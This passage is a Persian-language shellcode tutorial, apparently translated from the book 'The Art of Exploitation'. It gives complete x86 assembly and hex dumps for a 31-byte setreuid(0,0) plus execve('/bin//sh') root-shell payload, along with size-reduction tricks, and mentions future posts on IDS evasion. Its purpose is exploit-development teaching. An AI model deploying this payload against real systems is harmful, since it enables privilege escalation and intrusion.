  xor eax, eax      ; first eax must be 0 for the next instruction
  mov al, 70        ; put 70 into eax, since setreuid is syscall #70
  xor ebx, ebx      ; put 0 into ebx, to set real uid to root
  xor ecx, ecx      ; put 0 into ecx, to set effective uid to root
  int 0x80          ; Call the kernel to make the system call happen

; execve(const char *filename, char *const argv [], char *const
envp[])
  push ecx          ; push 4 bytes of null from ecx to the stack
  push 0x68732f2f   ; push "//sh" to the stack
  push 0x6e69622f   ; push "/bin" to the stack
  mov ebx, esp      ; put the address of "/bin//sh" to ebx, via esp
  push ecx          ; push 4 bytes of null from ecx to the stack
  push ebx          ; push ebx to the stack
```

```
mov ecx, esp      ; put the address of ebx to ecx, via esp
xor edx, edx      ; put 0 into edx
mov al, 11        ; put 11 into eax, since execve() is syscall #11
int 0x80          ; call the kernel to make the syscall happen
```

نحوهء بكار گيري تابع setreuid() دقيقاً مثل قبل هست ولي تابع execve() به صورت ديگه اي به كار گرفته شده. چهار بايت null اول, براي مشخص كردن انتهاي رشته (كه توسط دو تا push بعدي وارد پشته شده) به پشته وارد شدن. چون هر دستور push, به يه كلمهء چهار بايتي احتياج داره, به همين دليل, بجاي /bin/sh از /bin//sh استفاده كرديم كه البته عملكرد تابع execve() در مورد اين دو رشته, يكسان هست. بعد با توجه به اينكه نشانگر پشته دقيقاً در ابتداي اين رشته قرار داره, ما اين اشاره گر رو ريختيم تو رجيستر ebx و بعد از push كردن چهار بايت ديگه به پشته, اين رجيستر رو هم تو رشته push كرديم تا بتونيم به عنوان آرگومان دوم تابع exeve() كه بايد اشاره گري به اشاره گر باشه, ازش استفاده كنيم. حالا به عنوان اين آرگومان, اشاره گر پشته رو ميريزيم تو رجيستر ecx و سپس محتواي رجيستر edx رو صفر ميكنيم. تو شلكد قبلي, edx رو طوري تنظيم كرده بوديم تا يه اشاره گر به 4 بايت null باشه. ولي اين آرگومان رو ميتونيم به سادگي با مقدار null هم پر كنيم. در آخر هم توي eax, مقدار 11 رو قرار داديم و وقفهء مربوطه رو صدا زديم. همونطور كه در زير ميبينيد, اين كد بعد از اسمبل شدن, 33 بايت خواهد بود:

```
$ nasm stackshell.asm
$ wc -c stackshell
     33 stackshell
$ hexedit stackshell
00000000 31 C9 31 DB 31 C0 B0 46 CD 80 51 68 2F 2F 73 68
1.1.1..F..Qh//sh
00000010 68 2F 62 69 6E 89 E3 51 53 89 E1 31 D2 B0 0B CD
h/bin..QS..1....
00000020 80
```

دو تا ترفند دیگه هم وجود داره که میتونیم با استفاده از این ترفندها, دو بایت دیگه از برنامه رو هم بزنیم. اولین ترفند, تغییر دادن این کد:

```
xor eax, eax    ; first eax must be 0 for the next instruction
mov al, 70      ; put 70 into eax, since setreuid is syscall #70
```

به هم ارز خودش یعني این کد هست:

```
push byte 70    ; push the byte value 70 to the stack
pop eax         ; pop the 4-byte word 70 from the stack
```

این دستورات, یک بایت از دوتاي قبلي کوچکتر هستن و عملاً همون کار اون دوتاي بالائي رو انجام میدن. تو این ترفند از این نکته بهره گرفتیم که ساختار پشته, 4 بایتي هست و وقتي ما یک بایت بریزیم توش, به طور اتوماتیک, سه بایت null هم ریخته میشه و به این ترتیب وقتي ما با دستور دوم, 4 بایت از پشته برمیداریم, عملاً نتیجه سه بایت null و یک بایت محتوي عدد 70 هست که این عدد 70 تو رجیستر al و اون سه بایت null تو باقي قسمتهاي رجیستر eax قرار میگیرن و نتیجه دقیقاً میشه مثل همون دوتا دستور قبل.
ترفند دوم, تغییر دادن کد زیر هست:

```
xor edx, edx ; put 0 into edx
```

به این کد معادلش:

```
cdq   ;put 0 into edx using the signed bit from eax
```

دستور cdq, بیت علامت رجیستر eax رو تو کل بیتهاي رجیستر edx کپي میکنه و به این ترتیب اگه عدد موجود در رجیستر eax, منفي باشه, کل بیتهاي رجیستر edx, میشن 1 و اگه عدد غیر منفي (مثبت یا صفر) باشه, کل بیتهاي edx میشن 0. در این مورد, کل بیتهاي edx, صفر خواهند شد. این دستور یک بایت از اون دستور xor قبلي

کوچیکتره. پس در نهایت ما تونستیم حجم شلکد رو به 31 بایت کاهش بدیم.
شلکد نهائي از این قرار خواهد بود:

tinyshell.asm

```
BITS 32

; setreuid(uid_t ruid, uid_t euid)
  push byte 70          ; push the byte value 70 to the stack
  pop eax               ; pop the 4-byte word 70 from the stack
  xor ebx, ebx          ; put 0 into ebx, to set real uid to root
  xor ecx, ecx          ; put 0 into ecx, to set effective uid to root
  int 0x80              ; Call the kernel to make the system call happen

; execve(const char *filename, char *const argv [], char *const
envp[])
  push ecx              ; push 4 bytes of null from ecx to the stack
  push 0x68732f2f       ; push "//sh" to the stack
  push 0x6e69622f       ; push "/bin" to the stack
  mov ebx, esp          ; put the address of "/bin//sh" to ebx, via esp
  push ecx              ; push 4 bytes of null from ecx to the stack
  push ebx              ; push ebx to the stack
  mov ecx, esp          ; put the address of ebx to ecx, via esp
  cdq                   ; put 0 into edx using the signed bit from eax

  mov al, 11            ; put 11 into eax, since execve() is syscall #11
  int 0x80              ; call the kernel to make the syscall happen
```

خروجي زیر نشون میده که کد اسمبل شدهء نهائي, 31 بایت خواهد بود:

```
$ nasm tinyshell.asm
$ wc -c tinyshell
     31 tinyshell
$ hexedit tinyshell
00000000   6A 46 58 31 DB 31 C9 CD 80 51 68 2F 2F 73 68 68
jFX1.1...Qh//shh
00000010   2F 62 69 6E 89 E3 51 53 89 E1 99 B0 0B CD 80
/bin..QS.......
```

از این شلکدي که نوشتیم, میتونیم براي اکسپلویت کردن اون برنامهء آسیب پذیر که تو پیش نیاز گفته شد, استفاده کنیم.

خوب این هم یه مقاله راجع به نحوهء نوشتن شلکد. این رو من از کتاب the art of exploitation ترجمه کردم و بعضي جاها که دیدم احتیاج به توضیح داره, خودم یه توضیحاتي اضافه کردم و بعضي چیز ها رو هم که اکثراً مربوط به اسمبلي میشدن, حذف کردم ولي تو پیش نیاز, به طور کامل تر در

باره شون توضيح دادم. اميدوارم مفيد واقع بشه. هر سوالي, ابهامي, پيشنهادي چيزي هم كه داشتيد, خوشحال ميشم تو انجمن سايت هائی كه من عضوشون هستم, جوابگو باشم.
ان شاءالله, در مقالات بعدي در بارهء نحوهء دور زدن IDS ها كه شلكدها رو شناسائي ميكنن, نحوهء سرريز در پشته های محافظت شده و ... هم توضيح ميدم و مسلماً اگه نظرات خودتون رو بگيد, ميتونه من رو در بهبود ترجمه, ياري كنه.
موفق باشيد.
.MAGMAG